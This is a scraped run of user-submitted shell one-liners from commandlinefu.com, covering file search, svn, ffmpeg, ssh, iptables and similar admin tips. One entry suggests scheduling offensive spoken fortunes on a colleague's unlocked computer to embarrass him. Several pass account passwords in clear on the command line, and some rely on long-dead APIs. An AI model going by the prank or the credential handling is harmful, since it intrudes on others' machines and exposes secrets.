A Quick variation to the latest commands list with the new-lines skipped. This is faster to read. ‹ First < 146 147 148 149 150 > Last › isgd () { curl 'http://is.gd/create.php?format=simple&url='"$1" ; printf "\n" } % isgd 'commandlinefu.com' http://is.gd/IjoOpX Generate a shortened URL with is.gd Check the API. You shouldn't need sed. The print-newline at the end is to prevent zsh from inserting a % after the end-of-output. Also works with http://v.gd each() { (IFS=$'\n'; echo "$*") } Outputs each arg on its own line This can be useful for transforming command-line args into input for xargs (one per line). This can also be done with ls if the args are filenames, but that's getting awfully close to Useless Use of Cat territory (http://partmaps.org/era/unix/award.html). SELECT table_schema "Data Base Name", sum( data_length + index_length ) / 1024 / 1024 "Data Base Size in MB" FROM information_schema.TABLES GROUP BY table_schema ; Mysql command to list the disk usage of the database # Negative is Not Nice Mnemonic for `nice` and `renice` command This is just a phrase I use to help me remember which way is what when using nice (top, renice, etc.), and not a command, (unless you really want this in your .bash_history to help remind you.) I was using the command `man nice ` way too much just to look up which way is what. This saves 9 keystrokes every time I remember it. Make sure you downvote me if you think mnemonics sux. Otherwise I hope this helps someone else. /usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{branch_name} . SVN Command line branch merge This will merge all of the changes from {rev_num} to head on the branch to the current working directory find dir/ -type f | xargs tail -fqn0 Functions: find tail xargs follow the content of all files in a directory The `-q' arg forces tail to not output the name of the current file git log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s' In color. Additionally you may define in your ~/.gitconfig and run it just as 'git one': one = log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s' process-getopt Get your bash scripts to handle options (-h, --help etc) and spit out auto-formatted help or man page when asked!! This will make your bash scripts better!! process-getopt is a wrapper around getopt(1) for bash that lets you define command line options (eg -h, --help) and descriptions through a single function call. These definitions are then used in runtime processing of command line options as well as in generating help and man pages. It also saves a little time in coding and in producing nicely formatted documentation. It is quite similar to GNU's argp in glibc for compiled languages and OptionParse for python. See: Linux Gazette article 162: http://tldp.org/LDP/LGNET/162/hepple.html, http://sourceforge.net/projects/process-getopt, http://bhepple.freeshell.org/oddmuse/wiki.cgi/process-getopt rsync -vd --files-from=<(find . -name entries -print ) . ../target_directory Copy specific files recursively using the same tree organization. This command has been used to overwrite corrupted "entries" files of a corrupted subversion working copy. Note the --files-from input format. for((i=0;i<10;i++)) do tmp=`wget -O- -U "" "http://images.google.com/images?imgsz=xxlarge&hl=es&q=wallpaper&sa=N&start=$(($RANDOM%700+100))&ndsp=10" --quiet|grep -oe 'http://[^"]*\.jpg'|head -1`;[[ $tmp != "" ]] && wget $tmp || echo "Error $[$i+1]";done perl -MFile::Find -e"finddepth(sub{rmdir},'.')" Recursively delete empty directories. Use with care. rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & } Functions: sh sleep ssh Pull up remote desktop for other than gnome/kde eg fluxbox If the remote doesn't export its desktop (eg fluxbox, blackbox etc) then you need to run a x11vnc server there and a vncviewer at the local end. This command does the lot for you - it assumes that you can 'ssh' to the box without a password and that x11vnc is installed at the remote end. gnome-terminal -e "bash -c \"ffmpeg -f x11grab -r 25 -s $(xwininfo -root |sed -n 's/ -geometry \([0-9x]*\).*/\1/p') -i :0.0 -vcodec huffyuv -sameq ~/Desktop/screencast.avi; exec bash\"" A video capture command which can be assigned to a keyboard shortcut. ruby -ne 'puts $_.split.collect(&:capitalize).join(" ")' <<< "pleAse cOuld YOu capiTalizE Me" Capitalize first letter of each word in a string - A ruby alternative "-n" loops around ; "-e" executes the given quoted string ; "$_" is the current line ; "split" creates an array on white space; each item of the array is "collected" to be then "capitalized" ; the array is "joined" back into a string. echo 'set term dumb; unset border; unset xtics; unset ytics; p "< seq 10 | shuf" u 1:(rand(0)) w l notitle' | gnuplot A************************************************************************* Functions: echo unset generate random ascii shape(no x11 needed!) LC_ALL=fr_FR luit ssh root@remote_machine_ip Connect to remote machine with other enconding charset gnome-open [path] $ gnome-open . [opens the current folder in nautilus / your default file browser] $ gnome-open some.pdf [opens some.pdf in evince / your default pdf viewer] open path with your default GNOME program Another step to bring cli and gui closer together: gnome-open It opens a path with the default (gui) application for its mime type. I would recommend a shorter alias like alias o=gnome-open More examples: gnome-open . [opens the current folder in nautilus / your default file browser] gnome-open some.pdf [opens some.pdf in evince / your default pdf viewer] gnome-open trash:// [opens the trash with nautilus] gnome-open http://www.commandlinefu.com [opens commandlinefu in your default webbrowser] jb() { if [ -z $1 ];then printf 'usage:\njb <"date and/or time"> <"commandline"> &\nsee parsedate(3) strftime(3)\n';else t1=$(date +%s); t2=$(date -d "$1" +%s) ;sleep $(expr $t2 - $t1);$2 ;fi ;} Functions: date expr printf "at" command w/o the resource usage/competition issues EXAMPLES jb "next sun 12pm" "/bin/sh ~you/1.sh" & jb "2010-08-29 12:00:00" "~you/1.sh" & jb "29aug2010 gmt" ". ~you/1.sh" & jb 12:00p.m. "nohup ./1.sh" & jb 1min "echo stop!" & SEE ALSO parsedate(3) strftime(3) rd(){ while read a ;do printf "$a\n";sleep ${1-1};done ;} # usage: rd < file ; or ... | rd Functions: file printf read sleep scroll file one line at a time (w/only UNIX base utilities) usage examples ls largedir |rd lynx -dump largewebsite.com |rd rd < largelogfile lsr() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; } =[9 h3xx@necronomicon ~ ]= $ lsr ~/.cron drwx------ 10 h3xx users 304 Aug 13 01:45 /home/h3xx/.cron/ drwx------ 2 h3xx users 264 Aug 14 03:09 /home/h3xx/.cron/cron.01d/ -rwxr-xr-x 1 h3xx users 466 Jun 10 13:10 /home/h3xx/.cron/cron.01d/clean-chrome-tmp.sh* -rwxr-xr-x 1 h3xx users 4973 Aug 13 22:59 /home/h3xx/.cron/cron.01d/clean-maildirs.sh* -rwxr-xr-x 1 h3xx users 117 Aug 9 18:32 /home/h3xx/.cron/cron.01d/clean-thumbscache.sh* -rw-r--r-- 1 h3xx users 1264 Oct 12 2007 /home/h3xx/.cron/cron.01d/mkbackups.sh -rw------- 1 h3xx users 375 Oct 7 2005 /home/h3xx/.cron/cron.01d/rcsync.sh drwx------ 2 h3xx users 224 Aug 13 09:14 /home/h3xx/.cron/cron.01h/ -rw-r--r-- 1 h3xx users 937 Dec 31 2010 /home/h3xx/.cron/cron.01h/.bash-history.sh-notworking -rwxr-xr-x 1 h3xx users 433 Aug 13 09:14 /home/h3xx/.cron/cron.01h/getmail-3.sh* -rwxr-xr-x 1 h3xx users 4427 Jul 6 2010 /home/h3xx/.cron/cron.01h/randsig.pl* -rw-r--r-- 1 h3xx users 1358 Aug 17 2010 /home/h3xx/.cron/cron.01h/stupid-curl -rwxr-xr-x 1 h3xx users 172 Aug 13 00:09 /home/h3xx/.cron/cron.01h/waffles-log.sh* -rw------- 1 h3xx users 218 Mar 27 2006 /home/h3xx/.cron/cron.01m/vidcap.sh drwx------ 2 h3xx users 160 Aug 2 03:31 /home/h3xx/.cron/cron.07d/ -rwxr-xr-x 1 h3xx users 140 Apr 20 2009 /home/h3xx/.cron/cron.07d/clean-vim-views.sh* -rwxr-xr-x 1 h3xx users 165 Apr 17 2008 /home/h3xx/.cron/cron.07d/insert_bash_history.sh* -rwxr-xr-x 1 h3xx users 433 Aug 13 09:14 /home/h3xx/.cron/cron.15m/getmail-1.sh* -rwxr-xr-x 1 h3xx users 752 Aug 13 23:50 /home/h3xx/.cron/cron.30d/bogofilter-db-maintenance.sh* drwx------ 2 h3xx users 144 Aug 13 09:14 /home/h3xx/.cron/cron.30m/ -rwxr-xr-x 1 h3xx users 367 Jan 23 2010 /home/h3xx/.cron/cron.30m/dyndns-update* -rw-r--r-- 1 h3xx users 433 Aug 13 09:14 /home/h3xx/.cron/cron.30m/getmail-2.sh -rwx--x--x 1 h3xx users 4125 Aug 13 01:41 /home/h3xx/.cron/install-crontab* -rwx--x--x 1 h3xx users 4122 Aug 13 01:34 /home/h3xx/.cron/install-crontab~* =[9 h3xx@necronomicon ~ ]= $ Functions: find ls sort xargs Sorted, recursive long file listing Tells you everything you could ever want to know about all files and subdirectories. Great for package creators. Totally secure too. On my Slackware box, this gets set upon login: LS_OPTIONS='-F -b -T 0 --color=auto' alias ls='/bin/ls $LS_OPTIONS' which works great. aureport -x # aureport -x Executable Report ==================================== # date time exe term host auid event 1. 06/05/2009 15:23:08 /usr/sbin/sshd sshd 192.168.1.3 -1 6 2. 06/05/2009 15:23:12 /usr/sbin/sshd ssh 192.168.1.3 -1 7 3. 06/05/2009 15:29:35 /usr/sbin/useradd pts/0 ? 0 14 4. 06/05/2009 15:36:40 /usr/sbin/useradd pts/0 ? 0 19 5. 06/05/2009 15:36:41 /usr/sbin/useradd pts/0 ? 0 20 Report information about executable launched on system Aureport is a tool for displaying auditd system log. -x options cause to display launched executable on system. Aureport work with auditd so auditd must be installed an running on a system. Tested on CentOS / Debian for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done Copy 3 files from 3 different servers and adds server name tag to file copied cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc Ripping VCD in Linux ssh -tq -o "BatchMode yes" $HOST <some_command> >> to_a_file # wrap command with a loop, cycling through your HOST names ssh -tq -o "BatchMode yes" $HOST <some_command> >> to_a_file ssh batch jobs: query hundreds of hosts with an ssh command Need to query hundreds of hosts with an ssh command ? Of course you'll have setup keys on all your remote HOSTs. But in the case a key is not present this command will skip that node, proceeding on to the next. -t: Force pseudo-tty allocation. This can be used to execute arbitrary screen-based programs on a remote machine. Also prevents unwanted stty messages being sent to console -q: Quiet mode. -o "BatchMode yes" If set to yes, passphrase/password querying will be disabled. This option is useful in scripts and other batch jobs where no user is present ‹ First < 147 148 149 150 151 > Last › pushd +2; pushd -2 $ dirs -v 0 /etc 1 /tmp 2 ~ $ pushd +2 ~ /etc /tmp 0 ~ 1 /etc 2 /tmp $ dirs /var /tmp ~ /etc $ pushd -2 /tmp ~ /etc /var pushd rotates the stack so that the second directory comes at the top. 'pushd +1' is equivalent to 'pushd'. Can be 'pushd +3' or more generaly 'pushd +N'. Can also be 'pushd -N'. More description in 'man bash'. curl -sS -o $outfile -m $showlengthinseconds $streamurl Use curl to save an MP3 stream I use this with cron to timeshift radio programs from a station's live stream. You will get an error message at the end like "curl: (28) Operation timed out after 10000 milliseconds with 185574 bytes received"; to suppress that but not other error messages, you can append "2>&1 | grep -v "(28)"" to the end of the command. svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/" Functions: sed sort stat Colorize svn stat Use color escape sequences and sed to colorize the output of svn stat -u. Colors: http://www.faqs.org/docs/abs/HTML/colorizing.html svn stat characters: http://svnbook.red-bean.com/en/1.4/svn-book.html#svn.ref.svn.c.status GNU Extensions for Escapes in Regular Expressions: http://www.gnu.org/software/sed/manual/html_node/Escapes.html find /DirectoryWhereMyMp3sAre/ -regextype posix-egrep -iregex '.*?\.(ogg|mp3)' | sort > ~/mylist.m3u Supports other file formats. echo "Terrorist threat level: $(wget -q -O - http://is.gd/wacQtQ | tail -n 1 | awk -F\" '{ print $2 }')" aptitude search ^tin Seach for packages on Debian using regex. # Search for an available package on Debian systems using a regex so it only matches packages starting with 'tin'. find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinfo=`svn propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n $mergeinfo\n" ; done Functions: echo file find read Show all mergeinfo for a svn subtree perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig' for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done Functions: cat echo grep host telnet Testing ftp server status I must monitorize a couple of ftp servers every morning WITHOUT a port-scanner Instead of ftp'ing on 100 ftp servers manually to test their status I use this loop. It might be adaptable to other services, however it may require a 'logout' string instead of 'quit'. The file ftps.txt contains the full list of ftp servers to monitorize. function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed 's/^.* //' | xargs mplayer } Search and play MP3 from Skreemr This use the Screemr search engine to play mp3 songs hwclock --systohc -utc Set the hardware date and time based on the system date ssh [user]@[host] "ogg123 -" < [podcast].ogg Stream audio over ssh ogg version Stream OGG vorbis over ssh. openssl dgst -sha256 <<<"test" Generate hash( of some types) from string No need to install yet another program when openssl is already installed. :-) awk -F" " '{ if ( NF == 1 ) { print $0 } }' KINDLE_NOTES_FILE.txt | sed -e '/^=/d' | sed -e '/^[[:space:]]*$/d' -e 's/,//g' | sort | comm -12 List_of_language_words.txt - | uniq Functions: awk comm sed sort Single words from Amazon Kindle 3 notes You can use any dictionary you want, in any language. This command will output all single-word annotations that you have underlined in your Kindle device (provided the file) given a list of language-specific words. If you want to learn vocabulary, this command is ideal. apropos somekeyword search the manual page names and descriptions prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2 cloning partition tables under Solaris shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' | line) > /tmp/out enlubtsqyuse Functions: sed tee tr Simple word scramble enlubtsqyuse cat /tmp/out subsequently sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb copy partition table from /dev/sda to /dev/sdb find -E ~/Music -type f -iname "*search terms*" -iregex '.*\.(3g[2|p]|aac|ac3|adts|aif[c|f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4|a]|mpeg[0,9]?|sd2|wav)' -exec afplay "{}" \; & Create and play an instant keyword based playlist It works best as part of a function, such as the following: MUSICROOT=~/Music function fplay { if [ $1 = '-v' ]; then shift 1 find -E $MUSICROOT -type f -iname "*$**" -iregex '.*\.(3g[2|p]|aac|ac3|adts|aif[c|f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4|a]|mpeg[0,9]?|sd2|wav)' -print -exec afplay "{}" \; & find -E $MUSICROOT -type f -iname "*$**" -iregex '.*\.(3g[2|p]|aac|ac3|adts|aif[c|f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4|a]|mpeg[0,9]?|sd2|wav)' -exec afplay "{}" \; & mencoder -forceidx -of lavf -oac copy -ovc copy -o output.flv clip1.flv clip2.flv clip3.flv Join flv files cat /proc/PID/environ | tr '\0' '\n' Same as previous but without fugly sed =x ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip Functions: ping ssh SSH to a machine's internet address if it is not present on your local network Ping machine once, waiting 1 second for response until failing. Upon fail, ssh globally, otherwise ssh locally. tempo=33; slope=10; maxfreq=888; function sinus { echo "s($1/$slope)*$maxfreq"|bc -l|tr -d '-'; }; for((i=1;;i++)); do beep -l$tempo -f`sinus $i`; done Functions: bc echo tr Beep siren Infinitely plays beeps with sinusoidally changing sound frequency. Ideal for alarm on an event. curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true replace username, password, and nameofnewfriend with proper values. Remember to escape things like ! or & in your password ‹ First < 148 149 150 151 152 > Last › ps ewwo command PID | tr ' ' '\n' | grep \= Functions: command grep ps tr Same as previous but compatible with BSD/IPSO mencoder -vf rotate=1 -ovc lavc -oac copy "$1" -o "$1"-rot.avi Rotate a video file by 90 degrees CW mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/ /'; } Recursively grep for string and format output for vi(m) This is a big time saver for me. I often grep source code and need to edit the findings. A single highlight of the mouse and middle mouse click (in gnome terminal) and I'm editing the exact line I just found. The color highlighting helps interpret the data. function cp_mp3_to { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| sed s/[^\/]*//`; cp "$FILEPATH" "$1"; } $ cp_mp3_to /mnt/flash/car_music/ Functions: cp grep sed Copies currently played song in Audacious to selected directory Maybe it could work for any music player if you change "audacious2" with the string you see in `ps aux` for your player. Needs testing in different systems. STARTING_DIR=$(cd $(dirname $0) && pwd) [bbbco@bbbco-dt scripts]$ vi startingdir.sh ----------------- echo $(cd $(dirname $0) && pwd) [bbbco@bbbco-dt scripts]$ ./startingdir.sh /home/bbbco/scripts [bbbco@bbbco-dt scripts]$ cd .. [bbbco@bbbco-dt ~]$ scripts/startingdir.sh [bbbco@bbbco-dt ~]$ cd Downloads/ [bbbco@bbbco-dt Downloads]$ /home/bbbco/scripts/startingdir.sh [bbbco@bbbco-dt Downloads]$ Get full directory path of a script regardless of where it is run from Sometimes you need the full path to your script, regardless of how it was executed (which starting directory) in order to maintain other relative paths in the script. If you attempt to just use something simple like: STARTING_DIR="${0%/*}" you will only get the relative path depending on where you first executed the script from. You can get the relative path to the script (from your starting point) by using dirname, but you actually have to change directories and print the working directory to get the absolute full path. sed -i.backup '/patter/{n;s/foo/bar/g}' file SED - Substitute string in next line source: http://sed.sourceforge.net/sed1line.txt echo `cat /dev/urandom |tr -dc "[:alnum:]" | head -c64` create random string from /dev/urandom (or another length) find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \; finding cr-lf files aka dos files with ^M characters its useful to run dos2unix command later on them. sudo sh -c "echo '127.0.0.1 www.facebook.com' >> /etc/hosts" Functions: sh sudo Stop procrastination on Facebook.com echo '127.0.0.1 facebook.com' | sudo tee -a /etc/hosts lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq # lsof -c httpd | egrep 'w.+REG' | awk '{ print $9 }' | sort | uniq /var/log/httpd/access_log.1 /var/log/httpd/deflate_log.1 /var/log/httpd/error_log.1 /var/log/httpd/ssl_error_log.1 /var/log/httpd/ssl_request_log Functions: awk egrep sort find all open files by named process lists all files that are opened by processess named $processname egrep 'w.+REG' is to filter out non file listings in lsof, awk to get the filenames, and sort | uniq to remove duplciation sudo find . -maxdepth 1 -cnewer olderFilesNameToMove -and ! -cnewer newerFileNameToMove -exec mv -v {} /newDirectory/ \; Functions: find mv sudo Move all files between to date In a folder with many files and folders, you want to move all files where the date is >= the file olderFilesNameToMove and wget http://forums.dropbox.com && wget $(cat index.html|grep "Latest Forum Build"|cut -d"\"" -f2) && wget $(cat topic.php*|grep "Linux x86:"|cut -d"\"" -f2|sort -r|head -n1) && rm -rf ~/.dropbox* && rm index.html *.php* && tar zxvf dropbox-*.tar.gz -C ~/ Functions: cat cut grep head rm sort tar wget tail -f /var/log/messages | espeak make computer speaking to you :) you can listen to your computer, but don't be carried away vi +4 /etc/mtab Go to the Nth line of file [text editor] This is not printing, real editing using the text editor. while notify-send "`acpi -t`"; do sleep 300; done Works best in a shell script run at startup. acpi is called for temperature and fed to notify-send for a tooltip. After waiting five minutes, it will start over. BASEDIR=$(dirname $(readlink -f $0)) Functions: dirname readlink Also resolves symlinks, showing the full path of the link target ls -Q * | xargs -p rm ls -Q * "new file" "new file (another copy)" "new file (copy)" ls -Q * | xargs -p rm rm new file new file (another copy) new file (copy) ?...y Functions: ls xargs delete multiple files with spaces in filenames (with confirmation) ls -Q will show the filenames in quotes. xargs -p rm will print all the filenames piped from ls -Q and ask for confirmation before deleting the files. without the -Q switch, if we have spaces in names, then the files won't be deleted. git log --reverse --pretty=oneline | cut -c41- | nl | sort -nr Functions: cut nl sort A nice way to show git commit history, with easy to read revision numbers instead of the default hash gksudo gedit /etc/passwd & sudo for launching gui apps in background Need package: gksu Launching gui app in background that needs sudo, won't work great with our old friendly style of launching: sudo gedit /etc/passwd & because this would put sudo in background ! Using gksudo as demonstrated, would popup a gui sudo window. May be this is a common knowledge, but not knowing this frustrated me during my newbie year. alias QUERY='psql -h $MYDBHOST -p 5432 -d $MYDB -U $MYLOGIN --no-align' $ QUERY <<SQL > SELECT count(*) > FROM Resource r; > SQL count 78588 (1 row) lazy SQL QUERYING alias for psql command line; works similar for Oracles sqlplus commandline interface. if you do not provide stdin you will end up in the db shell. kill -SIGHUP `cat /var/run/mydns.pid` clear MyDNS-ng cache Occasionally, to force zone updating, cache flush is necessary. This command is better than restart the mydns daemon. $ cd test bash: cd: test: No such file or directory $ mkdir !$ mkdir test $ cd !$ cd test Recall last argument of previous command !$ recalls the last argument of the previous command. This is very useful when you have to operate several operations on the same file for example. watch -n 60 du /var/log/messages sudo arp-scan --interface=eth0 -l sudo arp-scan --interface=eth1 -l Interface: eth1, datalink type: EN10MB (Ethernet) 1 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.6: 256 hosts scanned in 1.351 seconds (189.49 hosts/sec). 1 responded Gathering all MAC's in your local network replace eth0 with your ethernet or wireless network interface. find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \; Turns off all yum repos. [root@blinky ~]# find /etc -iname "*.repo" -exec sed -i 's/enabled=1/enabled=0/g' {} \; [root@blinky ~]# a find and replace within text-based files using find's exec option instead of a for loop and using sed's -i option for inplace replacement. no need to do the file swap. ‹ First < 149 150 151 152 153 > Last › say='festival --tts'; S=$(date +%s); echo $(echo $S | cut -b 1-1)" billion" | $say ; echo $(echo $S | cut -b 2-4 | sed 's/0*//')" million"| $say; echo $(echo $S | cut -b 5-7 | sed 's/0*//')" thousand"| $say 1275038122 Functions: cut date echo sed read unixtimestamp with festival you will hear how many seconds since 1.1.1970 in english words with billions, millions and thousands. this is very useful, if you want to get over to use the unixtimestamp instead of the 24 hour clock in your dayly life sudo ethtool -i eth0 dhinesh@ubuntu:~$ sudo ethtool -i eth0 driver: pcnet32 version: 1.35 firmware-version: bus-info: 0000:02:01.0 Queries the specified ethernet device for associated driver information pkill -9 -f program kill some process (same as others) but parsing to a variable Kills a process matching program. I suggest using $ pgrep -fl program to avoid over-killings Nice the following: kills all bash process owned by guest $ pkill -9 -f bash -u guest find filepath -type f -iname "*.html" -o -iname "*.htm" -o -iname "*.php" | xargs grep "Exception\|LGPL\|CODE1" Simple Gumblar check command for i in `cat /proc/net/ip_tables_names`; do iptables -nL -v --line-numbers -t $i ; done show ALL iptable rules show your current iptable rules from every available iptable table ps aux | awk '{print($1" "$3" "$4" "$11);}' | grep -v "0.0" USER %CPU %MEM COMMAND system 0.1 0.1 /usr/sbin/smbd wwwrun 0.2 1.8 /usr/sbin/httpd2-prefork wwwrun 0.1 1.8 /usr/sbin/httpd2-prefork wwwrun 0.3 1.8 /usr/sbin/httpd2-prefork wwwrun 0.1 1.7 /usr/sbin/httpd2-prefork 'micro' ps aux (by mem/cpu) mac os x: ps aux | awk '{print($1" "$3" "$4" "$11);}' | grep -v "0,0" linux: psql This is regarding the command 8263 using an alias to fill in command line options for psql. You can actually just type 'psql'. In order for that to work, you want to set environment variables PGDATABASE, PGHOST, PGUSER, and (except you're using the default) PGPORT. Also, you can add a line "host:port:dbname:user:password" (asterisk ok in some columns) to your ~/.pgpass file. Finally, if you don't like the aligned columns, you can add the line "\pset format unaligned" to your ~/.psqlrc file. fortune -o | espeak listen to an offensive fortune or replace "espeak" with "festival --tts" if you like festival better when your buddy leaves his computer unlocked use "crontab" or "at" to play at some time that would be most embarassing (during his next sales presentation) echo "fortune -o | espeak" | at now + 30 minutes of course you can exclude the "-o" for non offensive fortunes, or if you don't have offensive fortunes installed for i in `svn log -r{2011-02-01}:HEAD | awk '$3 == "user" {print $1}'`; do svn log -v -$i;done ------------------------------------------------------------------------ r9717 | vijay | 2011-03-02 16:25:47 -0800 (Wed, 02 Mar 2011) | 2 lines Changed paths: M /SDK/trunk/android-projects/pom.xml M /SDK/trunk/mobile-sdk/pom.xml M /SDK/trunk/mobile-itf/pom.xml M /SDK/trunk/pom.xml pro-guard support added. build profiles added. r9724 | vijay | 2011-03-02 16:39:33 -0800 (Wed, 02 Mar 2011) | 1 line minor pom correction LIst svn commits by user for a date range Outputs a quick summary of the svn commits for a user over a date range with the detail revision logs including comments and files affected. Useful for searching for a particular change or reporting by user. find ./ -name *.h -exec egrep -cH "// | /\*" {} \; | awk -F':' '{print $2 ":" $1}' | sort -gr Functions: awk egrep find sort Iterate through current directory + all subs for C++ header files and rank by # of comments This shows you which files are most in need of commenting (one line of output per file) stty sane ^J Reset hosed terminal, stty sane resets the tty to basic usable function. The ^J is a newline -- sometimes CR/LF interpretation is broken so use the ^J explicitly. find / -type f 2>/dev/null | xargs du 2>/dev/null | sort -n | tail -n 10 | cut -f 2 | xargs -n 1 du -h 18M /usr/lib/openoffice.org/share/dict/ooo/th_en_US_v2.dat 20M /usr/lib/xulrunner-1.9/libxul.so 26M /usr/share/icons/crystalsvg/icon-theme.cache 31M /usr/lib/libgcj.so.7rh.0.0 32M /var/lib/rpm/Packages 42M /root/.mozilla/firefox/k7bvx7p5.default/urlclassifier3.sqlite 54M /usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0/jre/lib/rt.jar 54M /usr/lib/locale/locale-archive 4.4G /root/Desktop/CentOS_5.5_Final.iso 4.4G /tmp/image.iso.I4RMLV Functions: cut du find sort tail xargs FInd the 10 biggest files taking up disk space Often you need to find the files that are taking up the most disk space in order to free up space asap. This script can be run on the enitre filesystem as root or on a home directory to find the largest files. rlpr -h -Plp -HIP_LPD_SERVER_HERE file.ps rlpr: warning: cannot bind to privileged port: lpd may reject rlpr: info: 1 file spooled to lp@192.168.1.11 (proxy (none)) Print a file to a LPD server You don't need cups =) nc localhost 10000 <<< "message" none send substituted text to a command without echo, pipe zsh only - This avoids the need for echo "message" | which creates an entire subshell. Also, the text you are most likely to edit is at the very end of the line, which, in my opinion, makes it slightly easier to edit. rmdir **/*(/^F) Functions: rmdir It only works in zsh dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) } $ # in '.' $ dmd drwxr-xr-x 2 bchittenden bchittenden 4096 2010-01-27 10:26 20100127 $ # in 'test/asdf/' $ mkdir -p test/asdf $ dmd test/asdf $ ls -l test/asdf drwxr-xr-x 2 bchittenden bchittenden 4096 2010-01-27 10:29 20100127 Shell function to create a directory named with the current date, in the format YYYYMMDD. Creates a directory named with the current date, in the format YYYYMMDD. If you give it a directory name as an argument, it will create the new directory inside the specified directory. This is an alternative to command #1993. sed '/^$/d' /tmp/data.txt > /tmp/output.txt sudo sh -c 'gunzip -c source.gz > destination' No output. Extract a .gz file with privilege Extracting .gz files and placing the output in another directory in one command line is convenient thing. I just followed some how-to to install Nagios on Ubuntu Lucid Lynx but they give the method to install from archives. I wished to install from the repository. If you do so some files are missing. I've not tested yet but this is an example command line I did to extract sudo sh -c 'gunzip -c /usr/share/doc/nagios3-common/examples/template-object/templates.cfg.gz > /etc/nagios3/objects/templates.cfg' We need privilege to write the destination file. !<command> $ mysql --sigint-ignore --host <host> --user <user> --password --database <db> -e 'select * from contacts' > contacts.tab # several lines later, database has been updated, need to re-download the table $ !mysql mysql --sigint-ignore --host <host> --user <user> --password --database <db> -e 'select * from contacts' > contacts.tab Quickly re-execute a recent command in bash ! will expand to the last time you ran , options and all. It's a nicer alternative to ^R for simple cases, and it's quite helpful for those long commands you run every now and then and haven't made aliases or functions for. It's similar to command 3966, in some sense. find . -type f -size +500M -exec du {} \; | sort -n Greater than 500M and sorted by size. python -c "from itertools import imap; from random import randint; print ':'.join(['%02x'%x for x in imap(lambda x:randint(0,255), range(6))])" 2a:27:2a:1d:22:0a 37:3d:c9:c8:09:97 Python Alternative watch --interval 0 'iptables -nvL | grep -v "0 0"' This will allow you to watch as matches occur in real-time. To filter out only ACCEPT, DROP, LOG..etc, then run the following command: watch 'iptables -nvL | grep -v "0 0" && grep "ACCEPT"' The -v is used to do an inverted filter. ie. NOT "0 0" ffmpeg -r 24 -i %04d.png -i INPUTSOUND -r 24 -aspect 16:9 -s 1920x1080 -vcodec libx264 -vpre hq -acodec ac3 -b 40000k -shortest -threads 0 OUTFILE.mp4 Encode png's into blu-ray format This command takes a set of images (from a render, for example), and converts them into a format conforming to the Blu-ray spec, or at least the version on the Wikipedia page. xmlstarlet sel --net -t -m "//last" -v "@data" -n http://www.google.com/ig/api?stock=GOOG Obtain last stock quote from google API with xmlstarlet mdb-export -H -I -R database.mdb table >table.sql Export MS Access mdb files to csv -H suppress Headers -I Inserts instead of csv -R to give ; as the row delimeter. Probably you can concatenate each line with a ; while importing to the db. ‹ First < 150 151 152 153 154 > Last › diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }' vimdiff dir1/filea dir2/filea vimdiff dir1/fileb dir2/fileb vimdiff dir1/filec dir2/filec Functions: awk diff grep diff directories, quick cut and paste to view the changes We use this to quickly highlight differences and provide a quick way to cut and paste the command to view the files using the marvellous vimdiff ls -al /proc/<PID>/fd list file descriptors opened by a process Useful for examining hostile processes (backdoors,proxies) curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.com/statuses/update.xml Tweet from Terminal to twitter ! Tweeting from terminal to twitter accounts.. <ALT> <BACKSPACE> $ echo something <ALT> <BACKSPACE> $ echo hit BACKSPACE more than once to delete more words find ${PATH//:/ } -iname "*admin*" -executable -type f /usr/bin/time-admin /usr/bin/shares-admin /usr/bin/mysqladmin /usr/bin/users-admin While it seems (to me at least) a little counter-intuitive to filter on name first, this requires less work for find, as it allows it to immediately discount any files that do not match the name directly from the directory listing on disk. Querying against file attributes requires reading the file attributes, which is performed for all files matching any name based predicates. shout() { curl -s "http://shoutkey.com/new?url=${1}" | sed -n "/<h1>/s/.*href=\"\([^\"]*\)\".*/\1/p" ;} http://shoutkey.com/multiple Shorter regex. echo 1 > /proc/sys/net/ipv4/tcp_syncookies echo 1 > /proc/sys/net/ipv4/ip_forward iptables -A FORWARD -p tcp ?syn -m limit -j ACCEPT Functions: echo iptables Anti Syn Ddos sed -e 